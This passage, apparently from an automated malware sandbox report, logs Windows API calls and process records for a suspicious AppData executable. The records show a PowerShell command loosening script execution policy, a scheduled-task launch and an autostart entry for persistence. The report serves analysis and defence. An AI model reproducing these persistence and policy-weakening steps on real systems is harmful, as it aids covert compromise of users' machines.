0x102 [0056.290] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.305] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.321] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.336] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.352] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.368] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.383] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.399] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.414] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.430] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.446] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.461] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.477] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.496] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.508] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.529] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.539] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.555] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.570] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.586] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.602] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.617] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.633] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.652] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.664] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.680] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.695] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.711] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.726] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.742] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.757] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.773] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.789] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.804] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.820] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.836] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.851] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.867] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.884] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.049] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.054] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.070] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.085] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.101] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.116] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.265] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.272] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.288] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.304] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.319] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.336] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.350] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.366] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.385] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.397] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.431] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.445] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.460] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.475] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.492] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.506] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.523] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.539] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.553] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.569] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.585] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.616] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.632] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.647] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.724] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.726] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.741] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.757] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.834] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.881] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.900] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.914] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.928] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.943] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.959] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.974] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.990] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.006] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.021] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.037] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.100] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.115] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.130] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.146] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.161] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.177] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.193] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.208] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.224] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.239] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.255] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.271] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.287] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.309] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.349] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.395] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.417] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.427] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.446] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.472] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.485] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.490] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.512] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.520] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.536] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.563] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.580] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.583] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.598] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.614] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.629] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.645] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.692] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.707] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.534] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.546] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.562] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.772] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.800] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.870] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.170] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.187] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.191] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.206] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.233] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.237] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.263] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.272] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.363] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.427] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.593] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.629] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.685] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.742] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.816] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.932] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.968] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.025] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.332] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.562] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.658] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.732] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.796] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) Process: id = "11" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x2ed6e000" os_pid = "0xb48" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xb3c" cmd_line = "powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 59 os_tid = 0xb4c [0058.170] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0058.244] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0058.244] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0058.244] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0058.244] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a Thread: id = 60 os_tid = 0xb60 Thread: id = 61 os_tid = 0xb64 Thread: id = 62 os_tid = 0xb68 Thread: id = 70 os_tid = 0xb88 Thread: id = 71 os_tid = 0xb8c Thread: id = 72 os_tid = 0xb90 [0058.172] CoGetContextToken (in: pToken=0x2aaf758 | out: pToken=0x2aaf758) returned 0x0 [0058.172] CObjectContext::QueryInterface () returned 0x0 [0058.172] CObjectContext::GetCurrentThreadType () returned 0x0 [0058.172] Release () returned 0x0 [0058.172] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Process: id = "12" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x2ae8b000" os_pid = "0xb98" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "created_scheduled_job" parent_id = "5" os_parent_pid = "0xaa8" cmd_line = "taskeng.exe {E387FC81-F75C-4FE1-BEB5-A923C4A8692A} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:LUA[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 73 os_tid = 0xb9c Thread: id = 74 os_tid = 0xba0 Thread: id = 75 os_tid = 0xba4 Thread: id = 76 os_tid = 0xba8 Thread: id = 77 os_tid = 0xbac Thread: id = 78 os_tid = 0xbb0 Thread: id = 79 os_tid = 0xbb4 Process: id = "13" image_name = "cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe" page_root = "0x2b1ff000" os_pid = "0xbb8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0xb98" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" --Task" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 130 os_tid = 0x640 Thread: id = 131 os_tid = 0xbbc Process: id = "14" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x230f4000" os_pid = "0x36c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "12" os_parent_pid = "0xb98" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cedf" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 80 os_tid = 0x2b0 Thread: id = 81 os_tid = 0x55c Thread: id = 82 os_tid = 0x7f8 Thread: id = 83 os_tid = 0x430 Thread: id = 84 os_tid = 0x268 Thread: id = 85 os_tid = 0x768 Thread: id = 86 os_tid = 0x764 Thread: id = 87 os_tid = 0x760 Thread: id = 88 os_tid = 0x75c Thread: id = 89 os_tid = 0x70c Thread: id = 90 os_tid = 0x6e8 Thread: id = 91 os_tid = 0x6d8 Thread: id = 92 os_tid = 0x6d4 Thread: id = 93 os_tid = 0x6c8 Thread: id = 94 os_tid = 0x6c0 Thread: id = 95 os_tid = 0x6b8 Thread: id = 96 os_tid = 0x6a4 Thread: id = 97 os_tid = 0x6a0 Thread: id = 98 os_tid = 0x690 Thread: id = 99 os_tid = 0x67c Thread: id = 100 os_tid = 0x490 Thread: id = 101 os_tid = 0x454 Thread: id = 102 os_tid = 0x450 Thread: id = 103 os_tid = 0x428 Thread: id = 104 os_tid = 0x424 Thread: id = 105 os_tid = 0x420 Thread: id = 106 os_tid = 0x404 Thread: id = 107 os_tid = 0x18c Thread: id = 108 os_tid = 0xf0 Thread: id = 109 os_tid = 0xc8 Thread: id = 110 os_tid = 0x3f0 Thread: id = 111 os_tid = 0x3e4 Thread: id = 112 os_tid = 0x398 Thread: id = 113 os_tid = 0x394 Thread: id = 114 os_tid = 0x390 Thread: id = 115 os_tid = 0x38c Thread: id = 116 os_tid = 0x378 Thread: id = 117 os_tid = 0x370 Thread: id = 118 os_tid = 0xbc4 Thread: id = 119 os_tid = 0xbc8 Thread: id = 120 os_tid = 0xbcc Thread: id = 121 os_tid = 0xbd0 Thread: id = 122 os_tid = 0xbd4 Thread: id = 123 os_tid = 0xbd8 Thread: id = 124 os_tid = 0xbdc Thread: id = 125 os_tid = 0xbe0 Thread: id = 126 os_tid = 0xbe4 Thread: id = 127 os_tid = 0x824 Thread: id = 128 os_tid = 0x818 Thread: id = 129 os_tid = 0x6a8 Thread: id = 178 os_tid = 0x808 Thread: id = 179 os_tid = 0x110 Thread: id = 183 os_tid = 0x240 Process: id = "15" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x910c000" os_pid = "0x124" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x3f8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e1c4" [0xc000000f], "LOCAL" [0x7] Thread: id = 133 os_tid = 0xa7c Thread: id = 134 os_tid = 0x958 Thread: id = 135 os_tid = 0x918 Thread: id = 136 os_tid = 0x754 Thread: id = 137 os_tid = 0x704 Thread: id = 138 os_tid = 0x6e0 Thread: id = 139 os_tid = 0x6b0 Thread: id = 140 os_tid = 0x698 Thread: id = 141 os_tid = 0x678 Thread: id = 142 os_tid = 0x630 Thread: id = 143 os_tid = 0x610 Thread: id = 144 os_tid = 0x14c Thread: id = 145 os_tid = 0x140 Thread: id = 146 os_tid = 0x158 Thread: id = 147 os_tid = 0x294 Thread: id = 148 os_tid = 0x218 Thread: id = 149 os_tid = 0x230 Thread: id = 150 os_tid = 0x21c Thread: id = 151 os_tid = 0x1c4 Thread: id = 182 os_tid = 0x5f0 Thread: id = 184 os_tid = 0x310 Process: id = "16" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x8bed000" os_pid = "0x334" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "rpc_server" parent_id = "14" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ba6f" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 152 os_tid = 0x58c Thread: id = 153 os_tid = 0x7a0 Thread: id = 154 os_tid = 0x3a0 Thread: id = 155 os_tid = 0x658 Thread: id = 156 os_tid = 0x584 Thread: id = 157 os_tid = 0x750 Thread: id = 158 os_tid = 0x730 Thread: id = 159 os_tid = 0x728 Thread: id = 160 os_tid = 0x674 Thread: id = 161 os_tid = 0x65c Thread: id = 162 os_tid = 0x144 Thread: id = 163 os_tid = 0x118 Thread: id = 164 os_tid = 0x3ec Thread: id = 165 os_tid = 0x3e8 Thread: id = 166 os_tid = 0x3e0 Thread: id = 167 os_tid = 0x3dc Thread: id = 168 os_tid = 0x3cc Thread: id = 169 os_tid = 0x3c8 Thread: id = 170 os_tid = 0x388 Thread: id = 171 os_tid = 0x384 Thread: id = 172 os_tid = 0x380 Thread: id = 173 os_tid = 0x37c Thread: id = 174 os_tid = 0x364 Thread: id = 175 os_tid = 0x360 Thread: id = 176 os_tid = 0x34c Thread: id = 177 os_tid = 0x338 Thread: id = 180 os_tid = 0x664 Process: id = "17" image_name = "cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe" page_root = "0x7af08000" os_pid = "0x544" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" --AutoStart" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e807" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 185 os_tid = 0x548 [0091.011] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xc8b2b3a0, dwHighDateTime=0x1d53993)) [0091.011] GetCurrentProcessId () returned 0x544 [0091.011] GetCurrentThreadId () returned 0x548 [0091.011] GetTickCount () returned 0x42f8 [0091.011] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=6114272879) returned 1 [0091.685] GetStartupInfoW (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x18ff84, hStdError=0x467e9e)) [0091.685] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0091.685] HeapCreate 